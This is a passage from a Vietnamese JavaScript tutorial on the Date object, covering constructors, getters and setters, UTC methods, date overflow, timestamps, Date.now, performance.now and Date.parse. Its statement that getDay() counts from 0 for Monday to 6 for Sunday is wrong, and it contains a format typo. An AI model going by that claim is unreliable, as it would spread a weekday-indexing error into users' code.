punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sun Dec 19 2021 07:00:00 GMT+0700 (Indochina Time)</span> <span class="token comment">// Thời gian không được cài đặt, nên mặc định đó là 00:00:00 tại GMT+0000,</span> <span class="token comment">// hoặc 07:00:00 tại GMT+0700.</span></code></pre></div> <p>► <code>new Date(year, month, date, hours, minutes, seconds, ms)</code></p> <p>Đây là hàm khởi tạo <strong>đầy đủ các thông tin</strong> của Date trong JavaScript với múi giờ local. Trong đó, hai tham số đầu tiên <code>year</code> và <code>month</code> là bắt buộc.</p> <ul> <li><code>year</code> (năm) phải có 4 chữ số: <code>2021</code> là hợp lệ, <code>21</code> là không hợp lệ.</li> <li><code>month</code> (tháng) đếm từ <code>0</code> (tháng 1) đến <code>11</code> (tháng 12).</li> <li><code>date</code> là ngày trong tháng, nếu không truyền gì vào thì mặc định giá trị của tham số <code>date</code> là <code>1</code>.</li> <li><code>hours</code> (giờ), <code>minutes</code> (phút), <code>seconds</code> (giây) và <code>ms</code> (mili giây) nếu không truyền vào thì mặc định là <code>0</code>.</li> </ul> <p>Ví dụ hai câu lệnh sau khởi tạo đối tượng Date giống nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 Jan 2021, 00:00:00</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// giống câu lệnh trên</span></code></pre></div> <p>Độ chính xác tối đa là <strong>1 mili giây</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">567</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 01/01/2021, 02:03:04.567</span></code></pre></div> <h2 id="truy-cập-các-phần-tử-của-date" style="position:relative;"><a href="#truy-c%E1%BA%ADp-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-c%E1%BB%A7a-date" aria-label="truy cập các phần tử của date permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Truy cập các phần tử của Date</h2> <p>Sau đây là những phương thức phổ biến để truy cập vào các phần tử của Date trong JavaScript:</p> <ul> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear"><code>getFullYear()</code></a>: trả về năm (gồm 4 chữ số).</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear"><code>getMonth()</code></a>: trả về tháng (từ 0 đến 11).</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear"><code>getDate()</code></a>: trả về ngày trong tháng (từ 1 đến 31).</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getHours"><code>getHours()</code></a>: trả về giờ.</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getHours"><code>getMinutes()</code></a>: trả về phút.</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getSeconds"><code>getSeconds()</code></a>: trả về giây.</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds"><code>getMilliseconds()</code></a>: trả về mili giây.</li> </ul> <blockquote> <p><strong>Chú ý:</strong> phương thức <code>getYear()</code> đã <strong>lỗi thời</strong> và chỉ trả về <strong>hai chữ số</strong> của năm. Vì vậy, bạn không nên sử dụng phương thức <code>getYear()</code>.</p> </blockquote> <p>Ngoài ra, bạn có thể lấy <strong>ngày trong tuần</strong> bằng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay"><code>getDay()</code></a> - trả về giá trị từ <code>0</code> (thứ 2) đến <code>6</code> (chủ nhật).</p> <p>Tất cả phương thức trên đều trả về giá trị tương đối ứng với múi giờ trên máy tính. Múi giờ của Việt Nam là <code>+0700</code>.</p> <p>Để lấy giá trị ngày, tháng, năm,... tại múi giờ <strong>UTC+0</strong>, bạn chỉ cần viết thêm <code>UTC</code> vào các phương thức trên, phía sau <code>get</code>, ví dụ: <code>getUTCFullYear()</code>, <code>getUTCMonth()</code>, <code>getUTCDate()</code>,...</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getHours</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getUTCHours</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Ngoài các phương thức trên, còn hai phương thức khác không có <code>UTC</code> là:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTime"><code>getTime()</code></a>: trả về timestamp của date.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset"><code>getTimezoneOffset()</code></a>: trả về sự sai khác về múi giờ giữa UTC+0 với múi giờ trên máy tính (tính theo phút).</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getTime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1639883864463</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getTimezoneOffset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -420 (ứng với -7 giờ)</span></code></pre></div> <h2 id="thay-đổi-các-phần-tử-của-date" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-c%E1%BB%A7a-date" aria-label="thay đổi các phần tử của date permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi các phần tử của Date</h2> <p>Để thay đổi giá trị các phần tử của Date trong JavaScript, bạn sử dụng một trong các phương thức sau đây:</p> <ul> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setFullYear"><code>setFullYear(year, [month], [date])</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMonth"><code>setMonth(month, [date])</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setDate"><code>setDate(date)</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setHours"><code>setHours(hour, [min], [sec], [ms]</code>)</a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMinutes"><code>setMinutes(min, [sec], [ms])</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setSeconds"><code>setSeconds(sec, [ms])</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setSeconds"><code>setMilliseconds(ms)</code></a></li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setTime"><code>setTime(milliseconds)</code></a></li> </ul> <p>Tất cả các phương thức trên - ngoại trừ <code>setTime()</code>, đều có dạng <code>UTC</code>, ví dụ: <code>setUTCHours()</code>.</p> <p>Và một số phương thức bên trên có nhiều tham số. Trong đó, tham số đầu tiên là bắt buộc, các tham số sau nếu không set thì bỏ qua, ví dụ <code>setHours(hour, [min], [sec], [ms])</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> today <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>today<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thời gian hiện tại</span> today<span class="token punctuation">.</span><span class="token function">setHours</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>today<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ngày hiện tại, nhưng giờ được set thành 0</span> today<span class="token punctuation">.</span><span class="token function">setHours</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>today<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ngày hiện tại, nhưng giờ, phút, giây, mili giây đều = 0</span></code></pre></div> <h2 id="tự-động-điều-chỉnh-date" style="position:relative;"><a href="#t%E1%BB%B1-%C4%91%E1%BB%99ng-%C4%91i%E1%BB%81u-ch%E1%BB%89nh-date" aria-label="tự động điều chỉnh date permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tự động điều chỉnh date</h2> <p>Đối tượng Date trong JavaScript có một tính năng khá hữu ích đó là: <strong>tự động điều chỉnh thời gian</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 32/01/2021 - ngày không hợp lệ</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tự động điều chỉnh thành 01/02/2021!</span></code></pre></div> <p>Tham số truyền vào vượt ngoài giá trị cho phép của ngày, tháng, năm,... được tự động điều chỉnh <strong>tăng hoặc giảm</strong>.</p> <p>Giả sử, bạn muốn tăng từ ngày 28/02/2021 lên <strong>2 ngày</strong>. Bạn không chắc đó là ngày 01/03/2021 hay 02/03/2021. Vì bạn không rõ năm 2021 có phải là <strong>năm nhuận hay không</strong>.</p> <p>Với đối tượng Date trong JavaScript, bạn chỉ cần cộng thêm 2 ngày. <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> sẽ xử lý cho bạn.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">28</span><span class="token punctuation">)</span><span class="token punctuation">;</span> date<span class="token punctuation">.</span><span class="token function">setDate</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getDate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tue Mar 02 2021 00:00:00 GMT+0700 (Indochina Time)</span></code></pre></div> <p>Tính năng này còn được áp dụng để lấy Date sau một khoảng thời gian. Ví dụ lấy thông tin Date sau khoảng thời gian <strong>80 giây</strong> tính từ hiện tại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sun Dec 19 2021 10:50:50 GMT+0700 (Indochina Time)</span> date<span class="token punctuation">.</span><span class="token function">setSeconds</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getSeconds</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">80</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sun Dec 19 2021 10:52:10 GMT+0700 (Indochina Time)</span></code></pre></div> <p>Ngoài ra, bạn có thể truyền tham số là <code>0</code> hoặc <strong>số âm</strong>. Khi đó, thời gian được lấy lùi lại quá khứ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2021</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 02/01/2021</span> date<span class="token punctuation">.</span><span class="token function">setDate</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// set ngày của tháng thành mùng 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 01/01/2021</span> date<span class="token punctuation">.</span><span class="token function">setDate</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// set ngày của tháng bằng 0 => ngày cuối cùng của tháng trước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 31/12/2020</span></code></pre></div> <h2 id="chuyển-date-về-number" style="position:relative;"><a href="#chuy%E1%BB%83n-date-v%E1%BB%81-number" aria-label="chuyển date về number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển Date về number</h2> <p>Khi đối tượng Date trong JavaScript được chuyển đổi về dạng số, <code>Date</code> sẽ trở thành <strong>timestamp</strong>, giống như cách sử dụng <code>date.getTime()</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">+</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1639886372852</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getTime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1639886372852</span></code></pre></div> <p>Ngoài ra, bạn có thể <strong>trừ</strong> hai giá trị Date trong JavaScript cho nhau. Kết quả trả về là <strong>số mili giây chênh lệch</strong>.</p> <p>Tính năng này được áp dụng để tính thời gian của một tác vụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// bắt đầu tính thời gian</span> <span class="token keyword">let</span> start <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// bắt đầu tác vụ</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">1000000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> doSomething <span class="token operator">=</span> i <span class="token operator">*</span> i <span class="token operator">*</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// kết thúc tính thời gian</span> <span class="token keyword">let</span> end <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tổng thời gian thực hiện vòng lặp là:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>end <span class="token operator">-</span> start<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3 ms</span></code></pre></div> <h2 id="datenow-trong-javascript" style="position:relative;"><a href="#datenow-trong-javascript" aria-label="datenow trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Date.now trong JavaScript</h2> <p>Nếu chỉ cần tính thời gian của một tác vụ, bạn không cần thiết phải khởi tạo đối tượng <code>Date</code>. Thay vào đó, bạn có thể dùng phương thức <code>Date.now()</code> để trả về giá trị timestamp hiện tại.</p> <p>Phương thức <code>Date.now()</code> về cơ bản là giống <code>new Date().getTime()</code>. Tuy nhiên, <code>Date.now()</code> không cần khởi tạo đối tượng <code>Date</code> mới, nên phương thức này không ảnh hưởng tới quá trình <a href="/garbage-collection-trong-javascript/">garbage collection</a>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// bắt đầu tính thời gian</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> start <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span> <span class="token comment">// bắt đầu tác vụ</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">1000000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> doSomething <span class="token operator">=</span> i <span class="token operator">*</span> i <span class="token operator">*</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// kết thúc tính thời gian</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> end <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span> <span class="token comment">// Tổng thời gian thực hiện vòng lặp là:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>end <span class="token operator">-</span> start<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3 ms</span></code></pre></div> <blockquote> <p>💡 <strong>Chú ý:</strong> các cách tính thời gian với <code>Date</code> trên có độ chính xác cao nhất là <strong>1 ms</strong>.</p> <p>Nếu bạn cần độ chính xác cao hơn thì bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/now"><code>performance.now()</code></a>.</p> </blockquote> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// bắt đầu tính thời gian</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> start <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span> <span class="token comment">// bắt đầu tác vụ</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">1000000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> doSomething <span class="token operator">=</span> i <span class="token operator">*</span> i <span class="token operator">*</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// kết thúc tính thời gian</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> end <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span> <span class="token comment">// Tổng thời gian thực hiện vòng lặp là:</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>end <span class="token operator">-</span> start<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2.7000000029802322 ms</span></span></code></pre></div> <h2 id="dateparse-trong-javascript" style="position:relative;"><a href="#dateparse-trong-javascript" aria-label="dateparse trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Date.parse trong JavaScript</h2> <p>Bạn có thể dùng phương thức <code>Date.parse(string)</code> để parse date trong JavaScript từ một <code>string</code>.</p> <p>Định dạng Date đầy đủ với string là: <code>YYYY-MM-DDTHH:mm:ss.sssZ</code>.</p> <p>Trong đó:</p> <ul> <li><code>YYYY-MM-DD</code> là <strong>năm-tháng-ngày</strong>.</li> <li>Kí tự <code>T</code> dùng để phân tách.</li> <li><code>HH:mm:ss.sss</code> lần lượt là giờ, phút, giây và mili giây.</li> <li>Kí tự <code>Z</code> dùng để biểu diễn múi giờ dạng <code>+-hh:mm</code>. Ngoài ra, một kí tự <code>Z</code> tương đương với <strong>UTC+0</strong>.</li> </ul> <p>Định dạng date ngắn gọn hơn có thể là: <code>YYYY-MMMM-DD</code>, <code>YYYY-MM</code> hoặc thậm chí là <code>YYYY</code>,...</p> <p>Phương thức <code>Date.parse(str)</code> sẽ parse string ở định dạng tương ứng và trả về giá trị timestamp, nếu định dạng hoặc giá trị không hợp lệ thì trả về <code>NaN</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> ms <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token string">"2012-12-19T11:30:50.217+07:00"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ms<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1355891450217 (timestamp)</span></code></pre></div> <p>Bạn có thể tạo luôn đối tượng <code>Date</code> mới từ timestamp như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span>Date<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span><span class="token string">"2021-12-19T11:30:50.217+07:00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Sun Dec 19 2021 11:30:50 GMT+0700 (Indochina Time)</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" 